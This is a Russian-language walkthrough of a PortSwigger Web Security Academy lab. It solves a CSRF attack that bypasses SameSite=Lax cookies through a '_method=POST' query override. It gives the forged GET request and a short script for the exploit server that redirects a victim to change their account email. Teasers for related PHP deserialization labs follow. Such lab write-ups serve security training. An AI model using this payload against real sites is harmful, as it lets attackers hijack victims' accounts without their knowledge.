На странице
SameSite Lax bypass через method override
Лаборатория
SameSite Lax bypass via method override · Practitioner
Решение
Дано: хотим поменять пароль пользователя, используя CSRF-атаку, обойдя ограничение SameSite через method override. В данном случае SameSite=Lax, значит кука будет улетать только при GET top-level navigation запросах, то есть когда меняется URL в строке браузера.
Находим запрос, смотрим: POST-запрос, 1 параметр в теле — email.
Окей, попробуем просто поменять POST на GET — Method not allowed. Попробуем классику — query param _method:
GET /my-account/change-email?email=xui1@p.ru&_method=POST HTTP/2
Такая нагрузка проходит.
Что загрузим на эксплоит-сервер?
<script>
location = 'https://0a6b0055046e423e8141849f004500f8.web-security-academy.net/my-account/change-email?email=hacked@p.ru&_method=POST'
</script>
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.